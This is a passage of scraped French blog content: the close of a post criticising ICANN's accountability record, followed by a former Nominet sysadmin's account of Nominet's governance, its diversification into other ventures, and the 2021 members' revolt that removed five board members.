tout comme une affaire de responsabilité de l\u0026rsquo;ICANN. Tout petit registre qui ne peut pas financer un avocat américain pour plaider un point de droit californien des organismes à but non lucratif contre une organisation au budget à neuf chiffres.\nPuis considérez qui cela laisse entrer. Chaque intervention de ce billet qui a réellement changé quelque chose :\nSite Finder a pris fin quand l\u0026rsquo;ICANN a menacé le contrat de Verisign — et la réponse de Verisign fut de poursuivre devant un tribunal américain, et de sortir du règlement en tenant un .com renouvelé. La vente de .org a été arrêtée après que le procureur général de Californie a envoyé une lettre. Freenom s\u0026rsquo;est arrêté parce que Meta a poursuivi dans le Northern District of California, et 12,6 millions de noms se sont éteints derrière. .amazon est allé à Amazon parce qu\u0026rsquo;Amazon a mené l\u0026rsquo;ICANN à travers son propre Independent Review Process et s\u0026rsquo;est vu attribuer des frais. Quatre interventions qui ont marché. Quatre acteurs américains — un officier de justice d\u0026rsquo;État et trois entreprises. Aucune d\u0026rsquo;elles une voie disponible pour quiconque hors des États-Unis, et dans trois des quatre la chose qui a bougé était l\u0026rsquo;intérêt commercial d\u0026rsquo;une entreprise privée, qui à ces occasions pointait dans le même sens que celui de tous les autres.\nLa communauté a bien soulevé cela. Un sous-groupe de juridiction du groupe de travail sur la responsabilité a passé le Work Stream 2 dessus et a produit des recommandations qui ont laissé les choses à peu près où elles les avaient trouvées, ce qui n\u0026rsquo;est pas surprenant vu que la proposition de transition avait déjà exclu du champ le seul changement qui comptait avant que quiconque ne s\u0026rsquo;asseye.\nLa gouvernance mondiale multipartite se résout donc, dans le seul endroit où elle peut être testée, à ceci : vous pouvez plaider en Californie, si vous en avez les moyens.\nCe que le dossier montre réellement Mettez-les ensemble, parce que séparément chacun a une excuse et ensemble ils n\u0026rsquo;en ont pas.\nUne organisation qui a dû se faire dire trois fois par des tribunaux allemands que le droit européen s\u0026rsquo;appliquait à elle, ayant d\u0026rsquo;abord demandé aux régulateurs de ces tribunaux de simplement ne pas l\u0026rsquo;appliquer.\nUne organisation qui a inventé un produit que personne n\u0026rsquo;avait demandé, a pris plus de 350 millions de dollars de frais pour en examiner les candidatures, 240 millions de plus en mettant aux enchères les contestées, et encaisse maintenant 25 000 $ par an de domaines de premier niveau sans rien dedans — pendant que les chaînes qui se sont vendues sont devenues l\u0026rsquo;endroit le moins cher de l\u0026rsquo;internet pour acheter un domaine de hameçonnage.\nUne organisation dont le processus de commentaire public a couru 542 contre 1 et n\u0026rsquo;a pas altéré un mot du document sur lequel il consultait.\nUne organisation qui a levé les plafonds de prix de l\u0026rsquo;espace de noms à but non lucratif quatre mois avant que le véhicule de capital-investissement de son ancien directeur général n\u0026rsquo;offre 1,135 milliard de dollars pour lui, et qui a dû être arrêtée par un procureur général d\u0026rsquo;État plutôt que par un quelconque mécanisme à elle.\nUne organisation qui a pris 20 millions de dollars au bureau d\u0026rsquo;enregistrement en situation de monopole dans la même négociation qui a laissé le bureau d\u0026rsquo;enregistrement en situation de monopole augmenter les prix, et a ouvert le commentaire public après.\nUne organisation qui s\u0026rsquo;est servie de 36 millions de dollars d\u0026rsquo;argent qu\u0026rsquo;elle tenait en fiducie, pendant que le groupe décidant à quoi cet argent servait siégeait encore.\nEt une organisation qui a réglé un procès du registre qui avait détourné les deux plus grandes zones de l\u0026rsquo;internet en remettant à ce registre un contrat renouvelé pour .com.\nUne organisation dont le seul mécanisme de responsabilité qui marche a été utilisé par une entreprise à mille milliards de dollars pour renverser l\u0026rsquo;objection unanime de huit pays, avec des frais attribués contre l\u0026rsquo;ICANN.\nUne organisation qui est arrivée à un rapport de comité près de déléguer .corp et .home à des inconnus, et a découvert ce que cela casserait à partir des mesures d\u0026rsquo;autres personnes.\nLe fil constant n\u0026rsquo;est pas l\u0026rsquo;incompétence. L\u0026rsquo;incompétence est aléatoire. Ceci est directionnel : chacun de ceux-ci est allé dans le sens des titulaires en place, de l\u0026rsquo;argent, et de l\u0026rsquo;intérêt institutionnel propre de l\u0026rsquo;ICANN, et les mécanismes de participation — périodes de commentaire, groupes de travail, communautés dotées de pouvoirs — ont produit de la documentation plutôt que des résultats.\nEt c\u0026rsquo;est le corps qui fixe la politique du fichier. Pas un organe de normalisation, pas un tribunal, rien que vous avez élu. Un organisme à but non lucratif californien au dossier de gouvernance pareil, assis sur 1,5 mégaoctet de texte contre lequel chaque réseau de la terre se résout.\nLa seule chose entre ce dossier et le fichier est que l\u0026rsquo;ICANN ne tient pas le stylo. Elle doit demander. Tout ce qui est ci-dessus est ce qu\u0026rsquo;une organisation fait quand elle doit encore demander — donc la question qui vaut d\u0026rsquo;être emportée n\u0026rsquo;est pas si l\u0026rsquo;ICANN se comporte bien. Clairement non. C\u0026rsquo;est ce qui maintient l\u0026rsquo;obligation de demander en place, vu que personne ne l\u0026rsquo;a écrite et que la partie à qui l\u0026rsquo;on demande est déjà sur la fiche de paie.\n","permalink":"https://blogs.damiendye.uk/fr/dns/who-actually-controls-dns/","summary":"La racine de l\u0026rsquo;internet est un fichier texte de 1,5 Mo qu\u0026rsquo;une seule entreprise américaine édite et signe. Qui contrôle vraiment le DNS, ce que la transition IANA de 2016 a changé et n\u0026rsquo;a pas changé, et le dossier documenté de la façon dont l\u0026rsquo;ICANN a usé de ce contrôle.","title":"Qui contrôle réellement le DNS"},{"content":"J\u0026rsquo;ai été administrateur système du registre DNS chez Nominet, le registre .uk, de 2017 à 2019 — dans le bâtiment pendant que montait la pression qui a produit la révolte de 2021. Le vote lui-même est venu après mon départ, et cette partie est du domaine public, liée comme d\u0026rsquo;habitude. Là où je parle de ce à quoi cela ressemblait de l\u0026rsquo;intérieur, je le dis.\nLe billet compagnon de celui-ci parle de l\u0026rsquo;ICANN, et il n\u0026rsquo;arrête pas d\u0026rsquo;arriver à la même question de directions différentes : quand personne ne tient de contrat sur un registre, qu\u0026rsquo;est-ce qui le fait réellement se tenir ?\n.uk est un bon endroit pour y répondre, parce que personne ne le tient. Il n\u0026rsquo;y a pas d\u0026rsquo;accord de registre de l\u0026rsquo;ICANN dessus, pas de Spécification 6, pas de fonction de conformité, pas de surveillance externe, et pas de régulateur au sens ordinaire. L\u0026rsquo;Ofcom ne le fait pas tourner. Le gouvernement ne le fait pas tourner.\nSes membres le font. Et en mars 2021 ils s\u0026rsquo;en sont servis.\nCe qu\u0026rsquo;est réellement Nominet Nominet est une société à responsabilité limitée par garantie. Elle n\u0026rsquo;a pas d\u0026rsquo;actionnaires. Elle a des membres — des bureaux d\u0026rsquo;enregistrement et d\u0026rsquo;autres parties intéressées qui paient une cotisation et obtiennent un vote — et elle a été montée pour faire tourner .uk pour le bénéfice public plutôt que pour le profit.\nCette structure est toute l\u0026rsquo;histoire. Une société sans propriétaires à enrichir encaisse quand même de l\u0026rsquo;argent, et un registre faisant tourner un espace de noms national sans concurrent en encaisse beaucoup. Ce à quoi ce surplus sert est une question à laquelle la constitution répond vaguement et le conseil répond en pratique.\nLes membres sont le seul frein. Il n\u0026rsquo;y a rien d\u0026rsquo;autre. Ce qui va très bien tant que les réponses concordent, et devient tout le jeu quand elles cessent.\nLe parc, de l\u0026rsquo;intérieur Voici la partie que les gens hors d\u0026rsquo;un registre s\u0026rsquo;imaginent rarement, et elle compte pour tout ce qui suit.\nNominet n\u0026rsquo;a jamais été seulement .uk. Pendant que j\u0026rsquo;y étais la plateforme portait :\n.uk, le domaine de code de pays (ccTLD), sous aucun contrat de l\u0026rsquo;ICANN. .cymru et .wales, des domaines de premier niveau génériques (gTLD) que Nominet tient en propre — et ceux-là sont sous accords de registre de l\u0026rsquo;ICANN. Les gTLD d\u0026rsquo;autres gens. En avril 2016 Minds + Machines a confié à Nominet le back-end de jusqu\u0026rsquo;à 28 de ses chaînes — .london, .work, .law, .fashion, .cooking parmi elles — ce qui a mis Nominet dans le tout premier rang des opérateurs de registre par nombre de TLD exploités. Ajoutez des dot-brands comme .bbc et .bentley. Le rôle d\u0026rsquo;urgence de l\u0026rsquo;ICANN. Nominet est l\u0026rsquo;un des Emergency Back-end Registry Operators de l\u0026rsquo;ICANN, les structures à qui l\u0026rsquo;ICANN confie un gTLD quand elle le retire à celui qui le faisait tourner. Elle a rejoint en 2014, et en décembre 2017 l\u0026rsquo;ICANN s\u0026rsquo;en est servie — Nominet est devenue opérateur intérimaire d\u0026rsquo;urgence de .wed après la défaillance du service de données d\u0026rsquo;enregistrement de son opérateur. Le bout résolveur. Nominet a bâti et fait tourner le Protective DNS pour le National Cyber Security Centre (NCSC), le résolveur récursif que les organismes du secteur public britannique interrogent, qui refuse de résoudre les noms connus pour être malveillants. Une clarification vaut la peine, parce que « Nominet fait tourner .uk » est plus lâche qu\u0026rsquo;il ne devrait l\u0026rsquo;être.\nNominet fait tourner le registre .uk et l\u0026rsquo;essentiel de ce qui siège dessous — .co.uk, .org.uk, .me.uk et le .uk de second niveau lui-même. Elle n\u0026rsquo;a jamais tout fait tourner. .ac.uk appartient à Jisc, successeur du réseau universitaire qui a nommé uk en premier lieu, qui l\u0026rsquo;administre et y enregistre des noms depuis 1996. Pendant les années que ce billet couvre, .gov.uk était aussi celui de Jisc — Nominet ne l\u0026rsquo;a repris qu\u0026rsquo;en 2024, et même maintenant les approbations siègent au Central Digital and Data Office plutôt qu\u0026rsquo;au registre.\nÇa va plus loin que ça, et dans une direction que vous ne devineriez pas. Jisc fournit aussi l\u0026rsquo;administration de .gov.scot, et de .gov.wales et .llyw.cymru — qui vivent tous deux à l\u0026rsquo;intérieur de .wales et .cymru, les deux domaines de premier niveau génériques que Nominet tient en propre. Nominet fait tourner ces TLD. Quelqu\u0026rsquo;un d\u0026rsquo;autre fait tourner le coin des gouvernements dedans.\nDonc même à l\u0026rsquo;intérieur de l\u0026rsquo;espace de noms d\u0026rsquo;un seul pays l\u0026rsquo;autorité est partagée, et elle est partagée par l\u0026rsquo;histoire et la convention plutôt que par le dessein de quiconque.\nDonc une seule organisation siégeait dans quatre relations différentes au système de noms à la fois. Entièrement hors de la portée de l\u0026rsquo;ICANN pour .uk. À l\u0026rsquo;intérieur, sous contrat et mesurée en continu, pour les gTLD. L\u0026rsquo;instrument que l\u0026rsquo;ICANN a saisi quand elle a eu besoin de retirer un domaine de premier niveau à quelqu\u0026rsquo;un d\u0026rsquo;autre. Et le résolveur décidant ce qu\u0026rsquo;un ministère avait le droit de consulter.\nRien de tout cela n\u0026rsquo;est une contradiction. C\u0026rsquo;est à quoi la structure ressemble réellement une fois qu\u0026rsquo;on cesse de lire des organigrammes et qu\u0026rsquo;on se met à lire des contrats. L\u0026rsquo;autorité ici s\u0026rsquo;attache aux délégations individuelles, pas aux entreprises.\nDeux régimes, une plateforme Maintenant le morceau qu\u0026rsquo;on ne voit que de l\u0026rsquo;intérieur, et c\u0026rsquo;est la raison pour laquelle le parc compte plutôt que d\u0026rsquo;être un détail.\nPour les gTLD, Nominet signe l\u0026rsquo;accord de registre de l\u0026rsquo;ICANN comme tout le monde. La Spécification 6 s\u0026rsquo;applique — pas de jokers, pas de réponses synthétisées. La Spécification 10 aussi, et l\u0026rsquo;ICANN mesure la conformité avec elle en continu depuis l\u0026rsquo;extérieur : la résolution DNS, le système d\u0026rsquo;enregistrement partagé, le service Whois, les dépôts d\u0026rsquo;entiercement et les zones correctement signées sont tous surveillés contre des seuils, et passer à travers l\u0026rsquo;un est un événement de conformité plutôt qu\u0026rsquo;une simple panne.\nComptez les zones. D\u0026rsquo;un côté, .uk, sans contrat. De l\u0026rsquo;autre, plusieurs dizaines de gTLD, chacun sous un accord de registre et une sonde de surveillance. La zone non contractée était dépassée en nombre sur sa propre plateforme d\u0026rsquo;environ trente pour un.\nDeux régimes contractuels sur une plateforme, et le strict l'emporte Une plateforme, deux régimes contractuels Nominet — une plateforme de registre, un jeu de runbooks .uk 1 zone pas d'accord de registre pas de Spécification 6 personne ne surveille TLD génériques ≈30 zones .cymru\u0026#160;· .wales\u0026#160;· MMX\u0026#160;×28\u0026#160;· .bbc\u0026#160;· .bentley accord de registre ICANN Spéc. 6, Spéc. 10, surveillé de l'extérieur le régime strict devient la norme maison Personne ne maintient deux normes d'exploitation pour préserver une exemption pour une seule zone. .uk reçoit les règles de l'ICANN quand même\u0026#160;— pas de contrat, pas de consultation, personne au Royaume-Uni consulté. Une plateforme portant les deux régimes. La zone non contractée est dépassée en nombre d\u0026rsquo;environ trente pour un, donc les règles écrites pour les gTLD deviennent la façon dont tout est fait tourner — y compris la zone sur laquelle personne n\u0026rsquo;a d\u0026rsquo;autorité. Faire tourner deux régimes opérationnels sur une plateforme est pénible, donc on ne le fait pas. Deux processus d\u0026rsquo;entiercement, deux régimes de surveillance, deux jeux de runbooks, deux procédures d\u0026rsquo;astreinte, deux réponses à la même question selon la zone dont le ticket se trouve parler — c\u0026rsquo;est comme ça qu\u0026rsquo;on fait des erreurs à trois heures du matin. Quand l\u0026rsquo;ICANN impose quelque chose pour les gTLD, on ne le bâtit pas deux fois. On le bâtit une fois et on fait tout tourner dessus.\nCe qui veut dire que les exigences de l\u0026rsquo;ICANN ont atterri sur .uk aussi. Pas parce que l\u0026rsquo;ICANN avait une autorité quelconque sur .uk — elle n\u0026rsquo;en avait aucune — mais parce que la façon sûre la moins chère de satisfaire une règle liant l\u0026rsquo;essentiel de votre parc est de l\u0026rsquo;appliquer à tout, et parce que maintenir délibérément une scission pour que le ccTLD puisse faire des choses que les gTLD ne peuvent pas ne vous achète rien sauf une deuxième façon pour la plateforme de casser.\nAucun contrat n\u0026rsquo;a été signé pour ça. Aucune consultation n\u0026rsquo;a eu lieu. Personne au Royaume-Uni n\u0026rsquo;a été demandé. Une exigence écrite à Los Angeles pour des domaines de premier niveau génériques a façonné la façon dont le propre registre du pays tournait, par le biais d\u0026rsquo;une décision de conception.\nPour mémoire, cela a aussi fait de l\u0026rsquo;ICANN une présence réelle sur le tableau d\u0026rsquo;astreinte plutôt qu\u0026rsquo;une ligne dans un document de politique. Pour une partie du parc c\u0026rsquo;était un cocontractant avec un contrat, une sonde pointée sur notre infrastructure, et un chemin d\u0026rsquo;escalade.\nVendre .uk pour payer le reste La logique commerciale de tout ça était la chose à laquelle les membres ont fini par objecter.\n.uk est un monopole. Il y a exactement un endroit où acheter un domaine .uk, la demande est proche d\u0026rsquo;inélastique, et la marge finance ce que le conseil décide de financer. Dès 2016 The Register posait l\u0026rsquo;argument tout haut que les titulaires de .uk étaient surfacturés pour subventionner le reste de l\u0026rsquo;opération.\nSous le directeur général Russell Haworth, nommé en 2015, Nominet a poussé fort dans la cybersécurité — le contrat NCSC entre autres — sur le raisonnement qu\u0026rsquo;un registre assis sur de l\u0026rsquo;infrastructure DNS nationale était bien placé pour vendre des services de sécurité.\nC\u0026rsquo;était la direction de marche pour tout mon temps là-bas. La révolte n\u0026rsquo;est pas sortie de nulle part en 2021. Les conditions en avaient été posées des années plus tôt, à la vue de quiconque travaillait dans le bâtiment.\nLa charité est partie la première En janvier 2018, pendant que j\u0026rsquo;y étais, Nominet s\u0026rsquo;est retirée de sa propre fondation caritative.\nLe Nominet Trust avait été financé par le registre depuis 2008 — 44 millions de livres sur cette période, 4 millions en 2016, 5,4 millions en 2017. Il donnait de l\u0026rsquo;argent à des projets de technologie pour le bien. Il était, en un sens assez direct, le bénéfice public dans une société de bénéfice public. Il est devenu indépendant et en mai 2018 est devenu Social Tech Trust.\nLa raison annoncée par Haworth était que « le modèle de dons à financeur unique que nous avons mis en place en 2008 n\u0026rsquo;était pas la voie la plus efficace vers le plus grand impact » — the grant-giving, single funder model we set up in 2008 was not the most effective route to greatest impact.\nCe qui a été annoncé à côté était un Cyber Advisory Panel — présidé par Haworth — visant les affaires gouvernementales et d\u0026rsquo;entreprise, adossé à un programme de marketing et, selon les propres mots de Nominet, potentiellement une acquisition.\nMettez ces deux-là côte à côte, parce qu\u0026rsquo;ils ont été annoncés ensemble. L\u0026rsquo;argent quittant le bâtiment pour une charité à distance de bras s\u0026rsquo;est arrêté. Une entreprise commerciale présidée par le directeur général a démarré. Les membres n\u0026rsquo;ont été consultés sur ni l\u0026rsquo;un ni l\u0026rsquo;autre.\nL\u0026rsquo;un d\u0026rsquo;eux, Andrew Bennett, a posé la question évidente à l\u0026rsquo;époque : où tous les futurs bénéfices d\u0026rsquo;exploitation vont-ils être dépensés ? — where are all future operating profits going to be spent?\nTrois ans plus tard le corps des membres y a répondu.\nC\u0026rsquo;est aussi pourquoi les paragraphes ci-dessous ne sont pas que mon impression. Le plus grand mouvement d\u0026rsquo;argent de bénéfice public de l\u0026rsquo;histoire de Nominet est passé d\u0026rsquo;un trust indépendant avec sa propre gouvernance à un panel que le directeur général présidait, en une annonce, sans demander aux propriétaires. Quoi que vous fassiez de l\u0026rsquo;intention, la direction de l\u0026rsquo;argent est au dossier.\n« Profit avec un but » C\u0026rsquo;était la phrase — Profit With a Purpose. C\u0026rsquo;était la ligne de toute la stratégie et nous l\u0026rsquo;avons entendue en abondance.\nL\u0026rsquo;ennui avec elle n\u0026rsquo;était pas qu\u0026rsquo;elle était ambitieuse. C\u0026rsquo;était que les deux moitiés s\u0026rsquo;étaient détachées. Le profit était réel, croissant, et venait d\u0026rsquo;un marché captif qui n\u0026rsquo;avait nulle part ailleurs où acheter un .uk. Le but était une diapositive dans une présentation.\nProfit en hausse, but retiré — les deux moitiés du slogan qui s'écartent « Profit with a purpose », dans les comptes But — dons au Nominet Trust 4,0 M£ 2016 5,4 M£ 2017 retiré, janvier 2018 Trust lâché pour trouver ses financeurs à partir de 2018 44 M£ donnés au total entre 2008 et 2018 — puis rien. Sur les mêmes années le prix d'un domaine .uk a augmenté de plus de 50 %. La moitié profit du slogan marchait exactement comme prévu. Les deux moitiés du slogan, se déplaçant en directions opposées. Les chiffres des dons viennent de l\u0026rsquo;historique de financement du Nominet Trust ; la hausse de prix est la propre plainte des membres en 2021. On peut tenir une société à un slogan pareil, et à la fin les membres l\u0026rsquo;ont fait. À l\u0026rsquo;intérieur, cela produisait surtout la fatigue particulière qui vient de s\u0026rsquo;entendre dire à chaque réunion générale que la poussée commerciale est le bénéfice public, pendant que la ligne du bénéfice public réel descend.\nOù est allé l\u0026rsquo;argent Trois choses tournaient pendant que j\u0026rsquo;y étais, et aucune n\u0026rsquo;est le DNS pour le Royaume-Uni.\nUn registre de spectre radio. Nominet a bâti une base de données TV White Space — un registre de quelles fréquences radio sont libres d\u0026rsquo;usage à un endroit donné à un moment donné — et s\u0026rsquo;est fait approuver par la FCC comme administrateur de base de données aux États-Unis. L\u0026rsquo;argument était qu\u0026rsquo;un registre est un registre, et qu\u0026rsquo;une société douée pour un type de recherche pouvait en vendre un autre.\nUn produit de sécurité DNS. NTX, de la détection de menaces bâtie sur l\u0026rsquo;inspection du trafic DNS, vendue aux gouvernements et aux entreprises. Autrement dit un concurrent d\u0026rsquo;OpenDNS, c\u0026rsquo;est-à-dire un concurrent de Cisco, lancé par un registre de domaines britannique.\nDes voitures sans chauffeur. Avec les drones et l\u0026rsquo;internet des objets, présentées comme la prochaine grande vague de choses qui auraient besoin d\u0026rsquo;être nommées et enregistrées.\nCe qui leur est arrivé est la réponse à la question de savoir si elles étaient une stratégie. L\u0026rsquo;activité spectre a été vendue à RED Technologies quand Nominet s\u0026rsquo;est recentrée. Le travail cyber a produit la technologie derrière le contrat NCSC, que Nominet a ensuite perdu en 2024. Les voitures sans chauffeur ne sont jamais arrivées, ni les domaines dont elles allaient avoir besoin.\nCandidater pour l\u0026rsquo;Australie Il y en avait une quatrième, et elle en dit le plus sur l\u0026rsquo;ambition. En 2018 Nominet a candidaté pour faire tourner le registre de l\u0026rsquo;Australie.\nauDA, qui administre .au, avait mis les opérations de registre en appel d\u0026rsquo;offres. Neuf offres sont venues du monde entier, trois ont été présélectionnées, et Afilias a pris le relais le 1er juillet 2018, mettant fin à seize ans d\u0026rsquo;AusRegistry aux commandes. auDA n\u0026rsquo;a jamais publié qui d\u0026rsquo;autre avait candidaté, donc vous ne trouverez pas ça au dossier — mais Nominet en était, et j\u0026rsquo;étais là pendant qu\u0026rsquo;on y allait.\nTenez ça contre les autres nouvelles de la même année. En janvier 2018 Nominet s\u0026rsquo;est retirée de la fondation caritative à laquelle elle avait donné 44 millions de livres, au motif que le don à financeur unique n\u0026rsquo;était pas la voie la plus efficace vers l\u0026rsquo;impact. Dans les mêmes douze mois elle candidatait pour faire tourner le registre de domaines d\u0026rsquo;un pays à l\u0026rsquo;autre bout du monde.\nIl vaut aussi de remarquer ce qu\u0026rsquo;est l\u0026rsquo;appel d\u0026rsquo;offres .au, parce que c\u0026rsquo;est exactement ce que la plupart des gens supposent que .uk doit être. auDA peut mettre son registre en appel d\u0026rsquo;offres concurrentiel et le confier à quelqu\u0026rsquo;un d\u0026rsquo;autre, et en 2018 elle l\u0026rsquo;a fait. Il n\u0026rsquo;y a pas d\u0026rsquo;équivalent pour .uk. La position de Nominet n\u0026rsquo;est pas un contrat qui vient à renouvellement — ce qui est une position plus forte que celle qu\u0026rsquo;Afilias a gagnée en Australie, et à ce titre il vaut de s\u0026rsquo;en souvenir en pesant combien de pression le vote des membres représentait réellement. C\u0026rsquo;était le seul levier qu\u0026rsquo;il y avait.\nEt voici ce qui arrivait à auDA pendant que Nominet candidatait pour travailler pour elle.\nÀ côté de l\u0026rsquo;appel d\u0026rsquo;offres, le gouvernement australien menait une revue d\u0026rsquo;auDA elle-même. En avril 2018 il a rapporté que le cadre de gestion et de gouvernance d\u0026rsquo;auDA n\u0026rsquo;était « plus adapté à sa fonction » — no longer fit-for-purpose —, a émis 29 réformes requises comme nouvelles conditions d\u0026rsquo;endossement, et a mis un haut fonctionnaire du Department of Communications au conseil d\u0026rsquo;auDA pour surveiller le travail. Il a aussi dit, clairement, qu\u0026rsquo;il transférerait la délégation de .au à un autre prestataire si auDA ne pouvait pas livrer.\nC\u0026rsquo;est un gouvernement national déclarant par écrit qu\u0026rsquo;il déplacera le domaine de son pays si le corps qui le tient ne se reprend pas. Les propres membres d\u0026rsquo;auDA se mutinaient en même temps — une pétition pour une assemblée générale extraordinaire pour retirer quatre de ses dirigeants, trois ans avant que les membres de Nominet ne fassent la même chose à cinq des leurs.\nDeux registres nationaux, deux organismes sans but lucratif tenant l\u0026rsquo;espace de noms d\u0026rsquo;un pays, tous deux accusés d\u0026rsquo;échec de gouvernance à moins de quatre ans l\u0026rsquo;un de l\u0026rsquo;autre. Ce n\u0026rsquo;est pas une bizarrerie de Nominet. C\u0026rsquo;est ce que cette structure fait quand personne ne la surveille d\u0026rsquo;assez près.\nCe que les membres ont vu Quant à pourquoi celles-là et pas d\u0026rsquo;autres — je serai prudent, parce que je peux vous dire à quoi cela ressemblait et pas ce qu\u0026rsquo;il y avait dans la tête de quiconque. La vue largement partagée parmi le personnel à l\u0026rsquo;époque était que le financement suivait les engouements des gens qui l\u0026rsquo;approuvaient. Je ne peux pas vous montrer un grand livre et je ne vais pas prétendre le pouvoir.\nCe que je peux pointer, c\u0026rsquo;est que trois ans plus tard la plainte formelle du corps des membres était une version plus étayée du même soupçon — qu\u0026rsquo;un corps sans actionnaires et à but de bénéfice public dépensait le surplus d\u0026rsquo;un monopole national en choses qui convenaient aux gens qui le faisaient tourner, et que les dons censés justifier tout l\u0026rsquo;arrangement avaient été coupés pendant que cela arrivait.\nOù est allé le surplus de .uk, et comment chacun a fini Où est allé le surplus .uk un acheteur, pas de rival prix +50 % Nominet Trust 44 M£ de dons, 2008 à 2018 arrêté, jan. 2018 Base de spectre TV White Space approuvée par la FCC aux États-Unis vendue Cybersécurité NTX 12,6 M£ de CA la dernière année pleine perte de 2,4 M£ Candidature au registre australien neuf candidats, trois retenus perdue face à Afilias Voitures autonomes, drones, internet des objets la prochaine vague de choses à nommer jamais arrivées La seule ligne qui faisait ce pour quoi l'entreprise existait est celle qui a été coupée. Tout ce qui est en dessous a été payé par les gens qui achètent des domaines .uk. Cinq destinations pour l\u0026rsquo;argent d\u0026rsquo;un monopole. Quatre d\u0026rsquo;entre elles ont fini en une vente, une perte, une candidature perdue ou rien du tout — et la cinquième, celle que la constitution existait pour financer, est celle qui a été arrêtée. La plainte des membres n\u0026rsquo;était pas que la diversification est mauvaise. C\u0026rsquo;était de l\u0026rsquo;arithmétique. Les prix de .uk ont augmenté de plus de 50 %. Les dons caritatifs et de bénéfice public ont chuté, pendant que l\u0026rsquo;organisation faisait des marges de monopole sur un actif national. La performance opérationnelle reculait malgré la réduction des coûts. La rémunération et les primes des dirigeants montaient à travers tout ça. Et les retours des membres, offerts par les canaux que la constitution fournit, n\u0026rsquo;allaient nulle part depuis des années.\nUne société sans actionnaires s\u0026rsquo;était mise à se comporter comme une avec des actionnaires impatients, et le surplus de l\u0026rsquo;espace de noms national payait pour ça.\nLes membres se révoltent La campagne était PublicBenefit.uk, organisée par Simon Blackler de l\u0026rsquo;hébergeur Krystal. Sa résolution était sans détour : retirer des administrateurs nommés.\nLa réponse de Nominet est la partie qui vaut d\u0026rsquo;être consignée, parce qu\u0026rsquo;elle vous dit ce que l\u0026rsquo;organisation était devenue.\nElle a fait campagne contre ses propres membres avec l\u0026rsquo;argent des membres — courriels, appels téléphoniques et courriers pressant au rejet. Elle a refusé de s\u0026rsquo;engager sur le fond de la campagne. Quand la campagne a exercé son droit aux coordonnées des membres afin de plaider sa cause, Nominet n\u0026rsquo;a pas envoyé un tableur. Elle a envoyé un colis physique avec les détails imprimés sur plus de 500 feuilles de papier, les adresses courriel laissées de côté.\nElle a aussi bloqué une seconde résolution qui aurait installé deux administrateurs intérimaires qualifiés, au motif que ce n\u0026rsquo;était pas légal — puis a critiqué la campagne pour n\u0026rsquo;avoir pas de plan de succession.\nLe 22 mars 2021 cela est allé au vote. La participation était de 53 %. La résolution est passée avec 52,7 %, et cinq des onze membres du conseil sont partis :\nMark Wood Président Russell Haworth Directeur général Eleanor Bradley Directrice générale, Registre Ben Hill Directeur financier Jane Tozer Administratrice non exécutive Haworth a démissionné quelques heures avant le vote plutôt que de le perdre. Rob Binns est devenu président par intérim.\nVoici ce à quoi ce duo revenait, à mon sens, et je le signale comme une opinion parce que c\u0026rsquo;est ce que c\u0026rsquo;est.\nWood et Haworth ont fait tourner Nominet comme un fonds de capital-investissement fait tourner une société de portefeuille. Pas comme un registre qui se trouve produire un surplus, mais comme un bilan avec un actif sous-exploité boulonné dessus — un monopole captif crachant des liquidités qu\u0026rsquo;on pourrait mieux employer quelque part avec plus de potentiel.\nChaque chose documentée ci-dessus est cohérente avec ça. On prend le revenu fiable et on augmente son prix, parce que les clients n\u0026rsquo;ont nulle part ailleurs où aller. On arrête la sortie qui ne produit aucun retour, c\u0026rsquo;est-à-dire la charité. On met la différence dans un portefeuille — spectre, cyber, un registre étranger, des voitures sans chauffeur — sur la théorie que l\u0026rsquo;un d\u0026rsquo;eux réussit. On paie les gens qui le dirigent au tarif que ce genre de travail commande. Et on continue jusqu\u0026rsquo;à ce que quelqu\u0026rsquo;un ayant la stature pour vous arrêter le fasse.\nIl n\u0026rsquo;y a rien d\u0026rsquo;inhabituel à faire tourner une société de cette façon. Ce n\u0026rsquo;est pas une façon de faire tourner un corps de bénéfice public tenant un actif national en fiducie, parce que ce surplus n\u0026rsquo;a jamais été du capital en quête d\u0026rsquo;un retour. C\u0026rsquo;était la chose que tout l\u0026rsquo;arrangement existait pour produire, et la constitution le disait.\nLes membres ont fini par dire la même chose, dans le seul langage qui leur était disponible.\nIl vaut d\u0026rsquo;être honnête sur la marge. 52,7 % sur une participation de 53 % n\u0026rsquo;est pas un raz-de-marée, c\u0026rsquo;est une victoire étroite sur un corps de membres divisé, et l\u0026rsquo;organisation l\u0026rsquo;a combattue avec toutes les ressources qu\u0026rsquo;elle avait. Elle a quand même perdu.\nCe qui s\u0026rsquo;est passé ensuite Nominet s\u0026rsquo;est retirée de la direction cyber commerciale et s\u0026rsquo;est tournée vers le travail de registre et de bénéfice public. Puis les chiffres sont arrivés.\nLe cœur d\u0026rsquo;activité a culminé l\u0026rsquo;année de mon départ. Les domaines .uk sous gestion ont plafonné à 13 348 378 en 2019. En janvier 2023 c\u0026rsquo;était 11 045 559. En janvier 2024, 10 688 932. Un cinquième de la base, parti, et toujours en baisse.\nLa diversification a perdu de l\u0026rsquo;argent. Dans sa dernière année pleine avant les comptes, l\u0026rsquo;unité cyber a réalisé 12,6 millions de livres de chiffre d\u0026rsquo;affaires et affiché une perte de 2,4 millions de livres. C\u0026rsquo;est la réponse à la question de savoir si les projets que le surplus payait étaient un investissement ou une indulgence, et c\u0026rsquo;est le propre chiffre de Nominet.\nPuis le contrat est parti. En 2024 le NCSC a remis en appel d\u0026rsquo;offres le Protective DNS — un service traitant environ un demi-billion de requêtes par an — et Nominet l\u0026rsquo;a perdu. Le travail est allé à Cloudflare avec Accenture à partir de septembre 2024, sur un accord rapporté à environ 30 millions de livres. Le directeur général Paul Fletcher a dit que le gouvernement avait choisi un concurrent moins cher.\nEt le carnet de back-end tourne. En avril 2021, quelques semaines après l\u0026rsquo;assemblée générale extraordinaire, MMX a vendu son portefeuille à GoDaddy Registry pour 120 millions de dollars — et les 28 chaînes qui avaient mis Nominet dans le tout premier rang des opérateurs de registre sont parties avec l\u0026rsquo;acheteur. .blog était déjà parti pour CentralNic en 2019.\nIl est juste de dire que ça marche dans les deux sens. Amazon a déplacé l\u0026rsquo;essentiel de ses 54 gTLD sur la plateforme de Nominet en 2019, et Microsoft a plus tard transféré .skype et .office depuis GoDaddy. Nominet gagne des portefeuilles autant qu\u0026rsquo;elle en perd.\nMais c\u0026rsquo;est justement le point sur l\u0026rsquo;activité, pas une défense d\u0026rsquo;elle. Les services de registre en back-end sont un revenu que vous ne contrôlez pas. Il arrive et repart sur la transaction d\u0026rsquo;entreprise de quelqu\u0026rsquo;un d\u0026rsquo;autre — MMX n\u0026rsquo;est pas parti parce que Nominet 